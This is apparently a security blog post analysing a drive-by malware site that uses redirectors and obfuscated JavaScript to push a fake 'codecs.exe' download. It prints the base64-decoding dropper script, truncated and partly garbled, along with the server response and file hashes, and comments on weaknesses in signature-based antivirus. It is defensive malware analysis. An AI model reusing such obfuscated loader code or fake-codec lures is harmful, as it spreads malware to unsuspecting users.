Shots from the Malicious Wild West – Sample One

Come to daddy. At _ we have an URL spreading malware through redirectors and the natural javascript obfuscation :

Input URL: _
Effective URL: _
Responding IP:
Name Lookup Time: 0.300643
Total Retrieval Time: 0.887313
Download Speed: 9878

Then we get the following :

var keyStr = “ABCDEFGHIJKLMNO”+”PQRSTUVWXYZabcdefghijk”+”lmnopqrstuvwx”
+”yz0123456789+/=”; function decode64(input) { var output = “”; var chr2, chr3,
chr1; var enc4, enc2, enc1, enc3; var i = 0; input = input.replace(/[^A-Za-z0-9
+/=]/g, “”); do { enc1 = keyStr.indexOf(input.charAt(i++)); enc2 = keyStr.index
Of(input.charAt(i++)); enc3 = keyStr.indexOf(input.charAt(i++)); enc4 = keyStr.
indexOf(input.charAt(i++)); chr1 = (enc1 <<>> 4); chr2 = ((enc2 & 15)
<<>> 2); chr3 = ((enc3 & 3) << 6) | enc4; output = output + String.from
CharCode(chr1); if (enc3 != 64) { output = output + String.fromCharCode(chr2); }
if (enc4 != 64) { output = output + String.fromCharCode(chr3); } } while
(i < input.length); return output; } document.write(decode64("IDxhcHBsZXQgYXJjaGl2ZT0ibXMtY291bnRlci5q
wdCBsYW5ndWFnZT0nam ETC. ETC. ETC.

Deobfuscating the javascript we get to see where the binary is :

Input URL: _
Effective URL: _
Responding IP:
Name Lookup Time: 0.211247
Total Retrieval Time: 1.065943
Download Speed: 12898

Server Response :
HTTP/1.1 200 OK
Date: Sat, 10 Mar 2007 00:49:27 GMT
Server: Apache
X-Powered-By: PHP/4.4.4
Content-Disposition: attachment; filename=”codecs.exe”
Connection: close
Transfer-Encoding: chunked
Content-Type: application/exe

File info :
File size: 13749 bytes
MD5: f0778c52e26afde81dffcd5c67f1c275
SHA1: d61c6c17b78db28788f9a89c12b182a2b1744484

Running it over VT we get the following results you can see in the screenshot. It’s obvious major AV software doesn’t detect this one, but what you should keep in mind is the currently flawed signatures based malware detection approach. That’s of course given someone’s considering updating their AV software. In another analysis I’ll come with another binary that all major AV vendors detect, but the second tier ones doesn’t. Host based IPS based protection and behaviour blocking, and the actual prevention of loading the script is the way to avoid the exploitation of the flaws in signatures based scanning protection.

Author: Dancho Danchev

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